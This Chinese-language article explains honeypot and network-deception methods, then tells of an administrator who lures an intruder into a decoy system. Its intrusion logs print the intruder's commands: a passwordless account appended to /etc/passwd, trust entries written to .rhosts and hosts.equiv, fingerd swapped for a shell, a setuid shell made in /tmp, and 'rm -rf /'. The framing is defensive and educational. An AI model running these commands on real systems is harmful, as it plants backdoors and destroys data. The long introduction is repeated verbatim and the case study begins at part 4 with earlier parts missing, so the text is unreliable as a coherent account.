诱敌深入是一门很实用的战术,古今中外,很多军事家、政治家、企业家都对这个战术津津乐道,在网络攻防中也不例外,系统管理员也会用到这样的战术。由于每个网络系统都有安全方面的弱点,如果它的价值很高的话,这些弱点就有可能被入侵者利用。通常,人们会主动去弥补这些漏洞或者缺陷,如果系统管理员有一手的话,完全可以使入侵者相信系统存在安全缺陷,并将其引向这些错误的资源,也就是“诱敌深入”。当然,也需要在“知己知彼”的基础上才能“百战百胜”。管理员还可以跟踪入侵者的行为,在入侵者之前修补系统可能存在的安全漏洞。这可以形象地比喻为“牵着牛鼻子走路”。
一、网络欺骗方法探幽
网络管理员和入侵者在工作上永远是不相容的两个派别,至于工作之外是什么角色就不好说了。实践过程中,我们可以用逆向的思维来猜测入侵者的进攻技术和意图,牵着他的“牛鼻子”,按照我们给他设计好的意志进行选择,并且逐步消耗他的资源。这样,就会使入侵者感到要达到期望的目标还是具有一定挑战性的。一般来说,网络欺骗的方法可以从以下几个方面来考虑。
1、诱饵:Honey Pot和分布式Honey Pot
最早采用的网络欺骗是Honey Pot技术,Honey Pot就像一个诱饵,它将少量的有吸引力的目标(即Honey Pot)放在让入侵者很容易发现的地方,使之落入圈套。其中采用的技术手段很多,通常包括安插错误信息和隐藏等。前者包括重定向路由、伪造假信息和设置圈套,后者包括隐藏服务、多路径和维护安全状态信息机密性。这样就可以使入侵者将技术、精力集中到Honey Pot而不是其他真正有价值的正常系统和资源中,因此这个诱饵必须做的尽量“美味、可口”。
尽管Honey Pot技术可以迅速切换,但是,对稍高级的网络入侵,Honey Pot技术就作用甚微了。因此,分布式Honey Pot技术便应运而生,它将欺骗(Honey Pot)散布在网络的正常系统和资源中,利用闲置的服务端口来充当欺骗,从而增大了入侵者遭遇欺骗的可能性。分布式Honey Pot技术有两个直接的效果,首先是将欺骗分布到更广范围的IP地址和端口空间中,其次是增大了欺骗在整个网络中的百分比,使得欺骗比安全弱点被入侵者扫描器发现的可能性增大。
分布式Honey Pot技术也不是十全十美的,它的局限性体现在三个方面:一是它对穷尽整个空间搜索的网络扫描无效;二是只提供了相对较低的欺骗质量;三是只相对使整个搜索空间的安全弱点减少。而且,这种技术的一个更为严重的缺陷是它只对远程扫描有效。如果入侵已经部分进入到网络系统中,处于观察(如嗅探)而非主动扫描阶段时,真正的网络服务对入侵者已经透明,那么这种欺骗将失去作用。
2、真假“李逵”:空间欺骗技术
计算机系统具有多宿主能力(multi-homed capability),就是在只有一块以太网卡的计算机上能实现具有众多IP地址的主机,实际上,现在已有研究机构能将超过4000个IP地址绑定在一台运行Linux的PC上,而且每个IP地址还具有它们自己的MAC地址。这项技术可用于建立填充一大段地址空间的欺骗,且花费极低。欺骗空间技术就是通过增加搜索空间来显著地增加入侵者的工作量,从而达到安全防护的目的。这样许许多多不同的欺骗,就可以在一台计算机上实现。当入侵者的扫描器访问到网络系统的外部路由器并探测到这一欺骗服务时,还可将扫描器所有的网络流量重定向到欺骗上,使得接下来的远程访问变成这个欺骗的继续。
从防护的效果上看,将网络服务放置在所有这些IP地址上将毫无疑问地增加了入侵者的工作量,因为他们需要决定哪些服务是真正的,哪些服务是伪造的,特别是这样的4万个以上IP地址都放置了伪造网络服务的系统。而且,在这种情况下,欺骗服务相对更容易被扫描器发现,通过诱使入侵者上当,增加了入侵时间,从而大量消耗入侵者的资源,使真正的网络服务被探测到的可能性大大减小。
当然,采用这种欺骗时网络流量和服务的重定向必须严格保密,因为一旦暴露就将招致攻击,从而导致入侵者很容易将任一已知有效的服务和这种用于测试入侵者的扫描探测及其响应的欺骗区分开来。
3、用户信息迷惑:组织信息欺骗和多重地址转换
面对网络攻击技术的不断提高,一种网络欺骗技术肯定不能做到总是成功,必须不断地提高欺骗质量,才能使入侵者难以将合法服务和欺骗区分开来。多重地址转换和组织信息欺骗能有效地迷惑对手。
如果组织的DNS服务器包含了个人系统拥有者及其位置的详细信息,那么你就需要在欺骗的DNS列表中具有伪造的拥有者及其位置,否则欺骗很容易被发现。而且,伪造的人和位置也需要有伪造的信息如薪水、预算和个人记录等等。因此,如果某个组织提供有关个人和系统信息的访问,那么欺骗也必须以某种方式反映出这些信息。
另外,在信息迷惑上,地址的多次转换能将欺骗网络和真实网络分离开来,这样就可利用真实的计算机替换低可信度的欺骗,增加了间接性和隐蔽性。其基本的概念就是重定向代理服务(通过改写代理服务器程序实现),由代理服务进行地址转换,使相同的源和目的地址像真实系统那样被维护在欺骗系统中。
4、网络信息迷惑:网络动态配置和网络流量仿真
真实网络是随时间而改变的,如果欺骗是静态的,那么在入侵者长期监视的情况下就会导致欺骗无效。因此,需要动态配置欺骗网络以模拟正常的网络行为,使欺骗网络也像真实网络那样随时间而改变。为使之有效,欺骗特性也应该能尽可能地反映出真实系统的特性。例如,如果办公室的计算机在下班之后关机,那么欺骗计算机也应该在同一时刻关机。其他的如假期、周末和特殊时刻也必须考虑,否则入侵者将很可能发现欺骗。
产生仿真流量的目的是使流量分析不能检测到欺骗。在欺骗系统中产生仿真流量有两种方法。一种方法是采用实时方式或重现方式复制真正的网络流量,这使得欺骗系统与真实系统十分相似,因为所有的访问连接都被复制了;还有一种方法是从远程产生伪造流量,使入侵者可以发现和利用。
在欺骗与被欺骗的过程中,对双方的智力考验要求是很高的。如果在其中某个环节的判断上出了问题,就可能反而陷入别人的圈套。因此,必须对相关的欺骗手法有一定的了解,这样就能在实践操作中做出准确的判断。下面,我们来看一个“诱敌深入”的攻防实践。
诱敌深入是一门很实用的战术,古今中外,很多军事家、政治家、企业家都对这个战术津津乐道,在网络攻防中也不例外,系统管理员也会用到这样的战术。由于每个网络系统都有安全方面的弱点,如果它的价值很高的话,这些弱点就有可能被入侵者利用。通常,人们会主动去弥补这些漏洞或者缺陷,如果系统管理员有一手的话,完全可以使入侵者相信系统存在安全缺陷,并将其引向这些错误的资源,也就是“诱敌深入”。当然,也需要在“知己知彼”的基础上才能“百战百胜”。管理员还可以跟踪入侵者的行为,在入侵者之前修补系统可能存在的安全漏洞。这可以形象地比喻为“牵着牛鼻子走路”。
一、网络欺骗方法探幽
网络管理员和入侵者在工作上永远是不相容的两个派别,至于工作之外是什么角色就不好说了。实践过程中,我们可以用逆向的思维来猜测入侵者的进攻技术和意图,牵着他的“牛鼻子”,按照我们给他设计好的意志进行选择,并且逐步消耗他的资源。这样,就会使入侵者感到要达到期望的目标还是具有一定挑战性的。一般来说,网络欺骗的方法可以从以下几个方面来考虑。
1、诱饵:Honey Pot和分布式Honey Pot
最早采用的网络欺骗是Honey Pot技术,Honey Pot就像一个诱饵,它将少量的有吸引力的目标(即Honey Pot)放在让入侵者很容易发现的地方,使之落入圈套。其中采用的技术手段很多,通常包括安插错误信息和隐藏等。前者包括重定向路由、伪造假信息和设置圈套,后者包括隐藏服务、多路径和维护安全状态信息机密性。这样就可以使入侵者将技术、精力集中到Honey Pot而不是其他真正有价值的正常系统和资源中,因此这个诱饵必须做的尽量“美味、可口”。
尽管Honey Pot技术可以迅速切换,但是,对稍高级的网络入侵,Honey Pot技术就作用甚微了。因此,分布式Honey Pot技术便应运而生,它将欺骗(Honey Pot)散布在网络的正常系统和资源中,利用闲置的服务端口来充当欺骗,从而增大了入侵者遭遇欺骗的可能性。分布式Honey Pot技术有两个直接的效果,首先是将欺骗分布到更广范围的IP地址和端口空间中,其次是增大了欺骗在整个网络中的百分比,使得欺骗比安全弱点被入侵者扫描器发现的可能性增大。
分布式Honey Pot技术也不是十全十美的,它的局限性体现在三个方面:一是它对穷尽整个空间搜索的网络扫描无效;二是只提供了相对较低的欺骗质量;三是只相对使整个搜索空间的安全弱点减少。而且,这种技术的一个更为严重的缺陷是它只对远程扫描有效。如果入侵已经部分进入到网络系统中,处于观察(如嗅探)而非主动扫描阶段时,真正的网络服务对入侵者已经透明,那么这种欺骗将失去作用。
2、真假“李逵”:空间欺骗技术
计算机系统具有多宿主能力(multi-homed capability),就是在只有一块以太网卡的计算机上能实现具有众多IP地址的主机,实际上,现在已有研究机构能将超过4000个IP地址绑定在一台运行Linux的PC上,而且每个IP地址还具有它们自己的MAC地址。这项技术可用于建立填充一大段地址空间的欺骗,且花费极低。欺骗空间技术就是通过增加搜索空间来显著地增加入侵者的工作量,从而达到安全防护的目的。这样许许多多不同的欺骗,就可以在一台计算机上实现。当入侵者的扫描器访问到网络系统的外部路由器并探测到这一欺骗服务时,还可将扫描器所有的网络流量重定向到欺骗上,使得接下来的远程访问变成这个欺骗的继续。
从防护的效果上看,将网络服务放置在所有这些IP地址上将毫无疑问地增加了入侵者的工作量,因为他们需要决定哪些服务是真正的,哪些服务是伪造的,特别是这样的4万个以上IP地址都放置了伪造网络服务的系统。而且,在这种情况下,欺骗服务相对更容易被扫描器发现,通过诱使入侵者上当,增加了入侵时间,从而大量消耗入侵者的资源,使真正的网络服务被探测到的可能性大大减小。
当然,采用这种欺骗时网络流量和服务的重定向必须严格保密,因为一旦暴露就将招致攻击,从而导致入侵者很容易将任一已知有效的服务和这种用于测试入侵者的扫描探测及其响应的欺骗区分开来。
3、用户信息迷惑:组织信息欺骗和多重地址转换
面对网络攻击技术的不断提高,一种网络欺骗技术肯定不能做到总是成功,必须不断地提高欺骗质量,才能使入侵者难以将合法服务和欺骗区分开来。多重地址转换和组织信息欺骗能有效地迷惑对手。
如果组织的DNS服务器包含了个人系统拥有者及其位置的详细信息,那么你就需要在欺骗的DNS列表中具有伪造的拥有者及其位置,否则欺骗很容易被发现。而且,伪造的人和位置也需要有伪造的信息如薪水、预算和个人记录等等。因此,如果某个组织提供有关个人和系统信息的访问,那么欺骗也必须以某种方式反映出这些信息。
另外,在信息迷惑上,地址的多次转换能将欺骗网络和真实网络分离开来,这样就可利用真实的计算机替换低可信度的欺骗,增加了间接性和隐蔽性。其基本的概念就是重定向代理服务(通过改写代理服务器程序实现),由代理服务进行地址转换,使相同的源和目的地址像真实系统那样被维护在欺骗系统中。
4、网络信息迷惑:网络动态配置和网络流量仿真
真实网络是随时间而改变的,如果欺骗是静态的,那么在入侵者长期监视的情况下就会导致欺骗无效。因此,需要动态配置欺骗网络以模拟正常的网络行为,使欺骗网络也像真实网络那样随时间而改变。为使之有效,欺骗特性也应该能尽可能地反映出真实系统的特性。例如,如果办公室的计算机在下班之后关机,那么欺骗计算机也应该在同一时刻关机。其他的如假期、周末和特殊时刻也必须考虑,否则入侵者将很可能发现欺骗。
产生仿真流量的目的是使流量分析不能检测到欺骗。在欺骗系统中产生仿真流量有两种方法。一种方法是采用实时方式或重现方式复制真正的网络流量,这使得欺骗系统与真实系统十分相似,因为所有的访问连接都被复制了;还有一种方法是从远程产生伪造流量,使入侵者可以发现和利用。
在欺骗与被欺骗的过程中,对双方的智力考验要求是很高的。如果在其中某个环节的判断上出了问题,就可能反而陷入别人的圈套。因此,必须对相关的欺骗手法有一定的了解,这样就能在实践操作中做出准确的判断。下面,我们来看一个“诱敌深入”的攻防实践。
4、寻踪
这样几天没有动静,估计这个入侵者不死心,在考虑该怎么来修改密码文件了。其实,到这一步,我们完全可以把机器的补丁打上,不过,玩就要玩个痛快。不过,我们也在纳闷,这个入侵者不会知难而退了吧,还是有其他的工作在忙呢?静悄悄的,我们等待着。
星期五的晚上,一个难得的周末。机房监控的终端报告有安全事件,我们的入侵检测系统也时不时地报告有些错误发生。核对日志后,我们发现,有人试图使用DEBUG来用ROOT身份执行命令,也就是说,他试图修改我们的密码文件,一切尽在不言中,我不得不佩服这个入侵者的耐心和智慧!查看日志,我们发现,这次入侵同样是来自上次的连接:hust.whnet.edu。我们开始思考:现在到底是“诱敌深入”?还是“引狼入室”?从感觉来看,这个黑客比我们想象中的要厉害,而且他对现在的系统和系统漏洞相当的了解。难道我们要做的就是“拔掉网线”吗?思索中,一切仍然在进行中。
出于真实性考虑,我们在采取一些信息迷惑的同时,也公布了一些让黑客进入的诱饵。其中ftp的passwd是真实的,另外还生成了一个账号,但却使它不可操作。同时,又要让入侵者以为他自己已经改变了passwd文件,但却不急于让他进来。因此还需要给这个入侵者创造一定的条件。于是,我生成了一个临时账号c,当它被调用时就会给我发信,为了保险起见,我把c账号在实际passwd文件中改成了cndes,当我作完后,这个入侵者继续尝试:
以下是引用片段:
00:44 echo "cndes ::301:1::/:/bin/sh" >> /etc/passwd
他尝试了几个命令,但是没有成功,终于他发现了cndes这个账号,于是产生了下面的日志:
以下是引用片段:
00:51 Attempt to login to inet with cndes from hust.whnet.edu
00:51 Attempt to login to inet with cndes from hust.whnet.edu
00:55 echo "cndes ::303:1::/tmp:/bin/sh" >> /etc/passwd
00:57 (Added cndes to the real password file.)
00:58 Attempt to login to inet with cndes from hust.whnet.edu
00:58 Attempt to login to inet with cndes from hust.whnet.edu
01:05 echo "36.92.0.205" >/dev/null
echo "36.92.0.205 hust.whnet.edu">>/etc./?H?H?H
01:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
01:06 echo "36.92.0.205 hust.whnet.edu" >> /etc/hosts
01:08 echo "hust.whnet.edu cndes">>/tmp/.rhosts
这时,这个入侵者的活动又转到了ftp上:
以下是引用片段:
Feb 20 01:36:48 inet ftpd[14437]: <--- 220 inet FTP server
(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready.
Feb 20 01:36:55 inet ftpd[14437]: -------> user cndes?M
Feb 20 01:36:55 inet ftpd[14437]: <--- 331 Password required for cndes.
Feb 20 01:37:06 inet ftpd[14437]: -------> pass?M
Feb 20 01:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.
Feb 20 01:37:13 inet ftpd[14437]: -------> pass?M
Feb 20 01:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.
Feb 20 01:37:24 inet ftpd[14437]: -------> HELP?M
Feb 20 01:37:24 inet ftpd[14437]: <--- 214- The following commands are
recognized (* =>'s unimplemented).
Feb 20 01:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
Feb 20 01:37:31 inet ftpd[14437]: -------> QUIT?M
Feb 20 01:37:31 inet ftpd[14437]: <--- 221 Goodbye.
Feb 20 01:37:31 inet ftpd[14437]: Logout, status 0
Feb 20 01:37:31 inet inetd[116]: exit 14437
Feb 20 01:37:41 inet inetd[116]: finger request from 202.103.0.117 pid 14454
Feb 20 01:37:41 inet inetd[116]: exit 14454
01:38 finger attempt on cndes
01:48 echo "36.92.0.205 hust.whnet.edu" >> /etc/hosts.equiv
01:53 mv /usr/etc/fingerd /usr/etc/fingerd.b
cp /bin/sh /usr/etc/fingerd
看的出,他在这方面是很在行的,幸运的是,他只是破坏了我们模拟机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际fingerd程序。黑客的活动仍然在继续,摘录的相关日志如下:
以下是引用片段:
01:57 Attempt to login to inet with cndes from hust.whnet.edu
01:58 cp /bin/csh /usr/etc/fingerd
02:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
按照他的意思,fingerd现在重新开始工作。现在他试图修改password,不过,这永远不会成功,因为passwd的输入是/dev/tty,而不是sendmail所执行的shell script。攻击在继续中:
以下是引用片段:
02:16 Attempt to login to inet with cndes from hust.whnet.edu
02:17 echo "/bin/sh" > /tmp/Shell
chmod 755 /tmp/shell
chmod 755 /tmp/Shell
02:19 chmod 4755 /tmp/shell
02:19 Attempt to login to inet with cndes from hust.whnet.edu
02:19 Attempt to login to inet with cndes from hust.whnet.edu
02:21 Attempt to login to inet with cndes from hust.whnet.edu
02:21 Attempt to login to inet with cndes from hust.whnet.edu
又是一番折腾,连续的战斗,已经让我们疲惫不堪了,不过,这位入侵者也应该很疲惫了。突然,我发现了一个新的日志:
以下是引用片段:
02:55 rm -rf /&
看来他试图删除所有进入的痕迹,估计他很累了。但是,对于这个黑客来说,“没有进行破坏”是说不过去的,根据计算机安全的基本原则,当数据的"完整性、可用性和机密性"中任意三者之一在受到破坏的时候,都应视为安全受到了破坏。在实际情况中,间谍们只是默默地拿走你的数据而绝不做任何的破坏,而且尽最大可能地掩盖自己行动的痕迹。这些黑客希望长时间大量地得到珍贵的数据而不被发觉,这其实是最可怕的一种攻击行为。看来,今天碰到的这个黑客确实很职业,不过,他没有意识到我们给他布置的“局”,徒劳的长时间攻击之后,他选择了退出。我们也很累了,不过,现在最要紧的,就是马上恢复并且马上打上最新的sendmail系统补丁了。
随着计算机安全技术的发展,计算机网络将日益成为工业、农业和国防等方面的重要信息交换手段,渗透到社会生活的各个领域。因此,认清网络的脆弱性和潜在威胁,采取强有力的安全策略,对于保障网络的安全性将变得十分重要。同时,计算机网络技术目前正处于蓬勃发展的阶段,新技术层出不穷,其中也不可避免地存在一些漏洞,因此,进行网络防范要不断追踪新技术的应用情况,同时要把握黑客的心理,做到“知己知彼,百战不殆”,从而逐渐完善自身的防御措施。